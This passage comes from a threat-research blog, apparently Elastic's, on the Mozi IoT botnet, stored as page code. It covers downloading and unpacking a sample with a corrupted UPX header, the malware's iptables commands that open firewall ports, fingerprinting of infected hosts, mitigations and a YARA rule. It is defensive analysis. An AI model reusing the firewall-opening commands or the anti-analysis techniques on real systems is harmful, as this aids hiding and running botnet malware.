original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we\\u2019ll use a shorter name for this file, truncated-87d3b.elf, for readability.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"unpacking\",children:\"Unpacking\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/sysinternals/downloads/strings\",rel:\"nofollow\",children:\"Sysinternals Strings\"}),\" over our sample:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ strings truncated-87d3b.elf\nELF\n*UPX!\nELF\n$Bw\n(GT\n...\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 3 - Strings output from the packed Mozi sample\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Right away we see that we have a \",(0,t.jsx)(e.a,{href:\"https://upx.github.io/\",rel:\"nofollow\",children:\"UPX\"}),\" packed ELF binary from the \\u201CELF\\u201D and \\u201CUPX!\\u201D text. UPX is a compression tool for executable files, commonly known as \\u201Cpacking\\u201D. So the next logical step is to decompress the ELF file with the UPX program. To do that, we\\u2019ll run upx with the -d switch.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96w Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\nupx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 4 - UPX output from corrupted Mozi sample\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Another road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a \",(0,t.jsx)(e.a,{href:\"https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/\",rel:\"nofollow\",children:\"CUJOAI Anti-Unpacking blog\"}),\" explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using this information, we cracked open our binary in \",(0,t.jsx)(e.a,{href:\"https://linux.die.net/man/1/xxd\",rel:\"nofollow\",children:\"xxd\"}),\", a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ xxd truncated-87d3b.elf\n00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n...\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 5 - HEX view of the corrupted Mozi sample\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ xxd truncated-87d3b.elf\n...\n0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805 .......]9.G'..(.\n0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e .......'R..\\`..'\u003e\n0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000 ..X1\\`...........\n0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308 UPX!....UPX!....\n0001e100: 5199 6237 591c 321c d001 0000 b800 0000 Q.b7Y.2.........\n0001e110: 7c2a 0400 5000 0011 8000 0000 |*..P.......\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 6 - p_info HEX data from the corrupted Mozi sample\"})}),`\n`,(0,t.jsx)(e.p,{children:\"First, let\\u2019s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ vim truncated-87d3b.elf\n^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@\u003c80\u003e^@^@^@\u003c80\u003e^@^@^M\\xE0^A^@^M\\xE0^A^@^E^@^@^@^@\u003c80\u003e^@^@^A^@^@^@\\xB0z^@^@\\xB0\\xFA^F^@\\xB0\\xFA^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@\u003c80\u003e^@^@^P\\xF1\u003c8f\u003eRUPX!^\\\\\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 7 - Corrupted Mozi sample in Vim\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 8 - Corrupted Mozi sample in Vim with XXD plugin\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Next, we can just update bytes 0x84 - 0x8b(that we identified as having the zero\\u2019d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000 ....|*..|*......\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 9 - Updated p_filesize and p_blocksize HEX values\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).\"}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, let\\u2019s try to unpack the file now that we\\u2019ve manually adjusted the HEX values.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96 Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\n 273020 \u003c- 123165 45.11% linux/arm truncated-87d3b.elf\nUnpacked 1 file.\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 10 - Successfully unpacked Mozi sample\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We now have successfully unpacked the file. Let\\u2019s check to see what kind of file this is now by using the file command.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ file truncated-87d3b.elf\ntruncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 11 - File type identification of the Mozi sample\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ strings truncated-87d3b.elf\n...\niptables -I OUTPUT -p udp --source-port %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT\niptables -I INPUT -p udp --dport %d -j ACCEPT\niptables -I OUTPUT -p udp --sport %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT\n0.0.0.0\n[idp]\nThis node doesn't accept announces\nv2s\ndht.transmissionbt.com:6881\nrouter.bittorrent.com:6881\nrouter.utorrent.com:6881\nbttracker.debian.org:6881\nnnn.nnn.nnn.nnn:6881\nabc.abc.abc.abc:6881\nxxx.xxx.xxx.xxx:6881\nyyy.yyy.yyy.yyy:6881\nNfZ\nOo~Mn\ng5=\nN]%\nRange: bytes=\nUser-Agent:\n...\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 12 - Strings output from the unpacked Mozi sample\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Running Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Next, let\\u2019s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"storing-threat-data-in-the-elastic-stack\",children:\"Storing threat data in the Elastic Stack\"}),`\n`,(0,t.jsx)(e.p,{children:\"Looking at what we\\u2019ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For the next steps, we\\u2019re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"create-the-ingest-node-pipeline\",children:\"Create the Ingest Node Pipeline\"}),`\n`,(0,t.jsx)(e.p,{children:\"We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"ThreatFox field\"}),(0,t.jsx)(e.td,{children:\"ECS-style field\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"id\"}),(0,t.jsx)(e.td,{children:\"event.id\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"ioc\"}),(0,t.jsx)(e.td,{children:\"threat.indicator.ip and threat.indicator.port\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"threat_type\"}),(0,t.jsx)(e.td,{children:\"threat.software.type\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"threat_type_desc\"}),(0,t.jsx)(e.td,{children:\"threat.indicator.description\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"ioc_type\"}),(0,t.jsx)(e.td,{children:'threat.indicator.type. Set threat.indicator.type to \"ipv4-addr\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"malware\"}),(0,t.jsx)(e.td,{children:\"threat.software.name\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"malware_printable\"}),(0,t.jsx)(e.td,{children:\"threat.threatfox.malware_printable\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"malware_alias\"}),(0,t.jsx)(e.td,{children:\"threat.software.alias (if non-null)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"malware_malpedia\"}),(0,t.jsx)(e.td,{children:\"threat.software.reference\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"confidence_level\"}),(0,t.jsx)(e.td,{children:\"threat.indicator.confidence\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"first_seen\"}),(0,t.jsx)(e.td,{children:\"threat.indicator.first_seen\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"last_seen\"}),(0,t.jsx)(e.td,{children:\"threat.indicator.last_seen\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"reference\"}),(0,t.jsx)(e.td,{children:\"event.reference\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"reporter\"}),(0,t.jsx)(e.td,{children:\"event.provider\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"tags\"}),(0,t.jsx)(e.td,{children:\"tags\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"\u003cenrichment\u003e\"})}),(0,t.jsx)(e.td,{children:\"threat.indicator.geo. Enriched by our geoip processor.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"\u003cparsed-sha256\u003e\"})}),(0,t.jsx)(e.td,{children:\"file.hash.sha256 and related.hash\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"\u003ccopy threat.indicator.ip\u003e\"})}),(0,t.jsx)(e.td,{children:\"related.ip\"})]})]})]})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To create the pipeline, go to \",(0,t.jsx)(e.strong,{children:\"Kibana Stack Management\"}),\" -\u003e \",(0,t.jsx)(e.strong,{children:\"Ingest Node Pipelines\"}),\" , then click \",(0,t.jsx)(e.strong,{children:\"Create pipeline\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-1.jpg\",alt:\"Figure 1 - Creating Ingest Node Pipeline for ThreatFox data\",width:\"1440\",height:\"340\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Next, we\\u2019ll give our pipeline a name, optionally a version, and a description.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json\",rel:\"nofollow\",children:\"ThreatFox pipeline definition here\"}),\" you can paste in.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Click \",(0,t.jsx)(e.strong,{children:\"Import processors\"}),\" and paste the contents of this pipeline definition: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json\",rel:\"nofollow\",children:\"pipeline.json\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"When you click \",(0,t.jsx)(e.strong,{children:\"Load and overwrite\"}),\" , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click \",(0,t.jsx)(e.strong,{children:\"Create pipeline\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-2.jpg\",alt:\"Figure 2 - Ingest Node Processors for ThreatFox data\",width:\"1440\",height:\"971\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alternatively, if you\\u2019d like to use a turnkey approach, the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/examples/blob/master/blog/mozin-about/collection.sh\",rel:\"nofollow\",children:\"collection.sh\"}),\" script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ git clone https://github.com/elastic/examples\n$ cd examples/blog/mozin-about\n$ sh collection.sh\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 13 - Using the Mozi sample collection script\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.\"}),`\n`,(0,t.jsx)(i,{vidyard_uuid:\"hUokXLAUFJ7Tvp6mDQR6qH\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 3 - ThreatFox data in Kibana\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"analysis\",children:\"Analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we\\u2019ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As a few quick examples, we can identify some ports that are used and countries that are included in the dataset.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Let\\u2019s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on \",(0,t.jsx)(e.strong,{children:\"Visualization Library\"}),\" \\u2192 \",(0,t.jsx)(e.strong,{children:\"Create visualization\"}),\" \\u2192 \",(0,t.jsx)(e.strong,{children:\"Lens\"}),\". We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-4.png\",alt:\"Figure 4 - Port layout for Mozi network traffic\",width:\"1440\",height:\"1292\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-5.jpg\",alt:\"Figure 5 - Geographic data from Mozi command \u0026 control infrastructure\",width:\"1440\",height:\"1127\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This is useful information we can make the following analytical assertions based on our sampling:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Mozi botnet is currently active and maintaining steady infection rates\"}),`\n`,(0,t.jsx)(e.li,{children:\"Port 6000 is a dominant port used for command \u0026 control\"}),`\n`,(0,t.jsx)(e.li,{children:\"At least 24 countries impacted suggests global threat with no specific targeting\"}),`\n`,(0,t.jsx)(e.li,{children:\"Clusters of specific ASNs in Bulgaria and India stand out with highest volumes\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"exploring-the-propagation-mechanism\",children:\"Exploring the propagation mechanism\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.\"}),`\n`,(0,t.jsx)(e.p,{children:\"One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`curl -I nnn.nnn.nnn.nnn:53822\nHTTP/1.1 200 OK\nServer: nginx\nContent-Length: 132876\nConnection: close\nContent-Type: application/zip\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 14 - HTTP response from a compromised device\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Based on the observed response back, we can pull back some interesting information such as:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The use of an NGINX web server\"}),`\n`,(0,t.jsx)(e.li,{children:\"No HTTP Date Header provided\"}),`\n`,(0,t.jsx)(e.li,{children:\"The size of the file returned is close to 133 kilobytes\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like \",(0,t.jsx)(e.a,{href:\"https://www.shodan.io/\",rel:\"nofollow\",children:\"Shodan\"}),\", we can perform a search using the information obtained in the HTTP response. We\\u2019ll wildcard the Content-Length but use the same order for all of the HTTP response elements:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`HTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 15 - HTTP header for Mozi propagation\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-6.jpg\",alt:\"Figure 6 - Additional impacted devices\",width:\"699\",height:\"893\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Other search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"mitigation\",children:\"Mitigation\"}),`\n`,(0,t.jsx)(e.p,{children:\"The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Changing the device default remote access passphrases\"}),`\n`,(0,t.jsx)(e.li,{children:\"Updating devices to the latest firmware and software version supported by the vendor\"}),`\n`,(0,t.jsx)(e.li,{children:\"Segmenting IoT devices from the rest of your internal network\"}),`\n`,(0,t.jsx)(e.li,{children:\"Not making IoT devices accessible from the public Internet\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using \",(0,t.jsx)(e.a,{href:\"https://virustotal.github.io/yara/\",rel:\"nofollow\",children:\"YARA\"}),\", we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT\u0026CK\\xAE describes additional subtechniques for the \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"}),\" technique from the \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense Evasion\"}),\" tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the \\u201CUPX!\\u201D magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by \",(0,t.jsx)(e.a,{href:\"https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi/\",rel:\"nofollow\",children:\"Lars Wallenborn\"}),\" (expanded for readability).\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Mozi_Obfuscation_Technique\n{\n meta:\n author = \"Elastic Security, Lars Wallenborn (@larsborn)\"\n description = \"Detects obfuscation technique used by Mozi botnet.\"\n strings:\n $a = { 55 50 58 21\n [4]\n 00 00 00 00\n 00 00 00 00\n 00 00 00 00 }\n condition:\n all of them\n}\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 16 - YARA signature detecting Mozi obfuscation\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"55 50 58 21 - identifies the UPX magic bytes\"}),`\n`,(0,t.jsx)(e.li,{children:\"[4] - offset by 4 bytes, the l_lsize, l_version \u0026 l_format\"}),`\n`,(0,t.jsx)(e.li,{children:\"00 00 00 00 - identifies the program header ID\"}),`\n`,(0,t.jsx)(e.li,{children:\"00 00 00 00 - identifies the zero\\u2019d out p_filesize\"}),`\n`,(0,t.jsx)(e.li,{children:\"00 00 00 00 - identifies the zero\\u2019d out p_blocksize\"}),`\n`,(0,t.jsx)(e.li,{children:\"condition - requires that all of the above strings exist for a positive YARA signature match\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero\\u2019d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,t.jsx)(e.p,{children:\"The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"additional-resources\",children:\"Additional resources\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Blog artifacts and scripts, Elastic: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/examples/tree/master/blog/mozin-about\",rel:\"nofollow\",children:\"https://github.com/elastic/examples/tree/master/blog/mozin-about\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"ThreatFox Indicator of Compromise Database, Abuse.ch: \",(0,t.jsx)(e.a,{href:\"https://threatfox.abuse.ch/browse\",rel:\"nofollow\",children:\"https://threatfox.abuse.ch/browse\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: \",(0,t.jsx)(e.a,{href:\"https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware\",rel:\"nofollow\",children:\"https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Corrupted UPX Packed ELF Repair, vcodispot.com: \",(0,t.jsx)(e.a,{href:\"https://vcodispot.com/corrupted-upx-packed-elf-repair\",rel:\"nofollow\",children:\"https://vcodispot.com/corrupted-upx-packed-elf-repair\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: 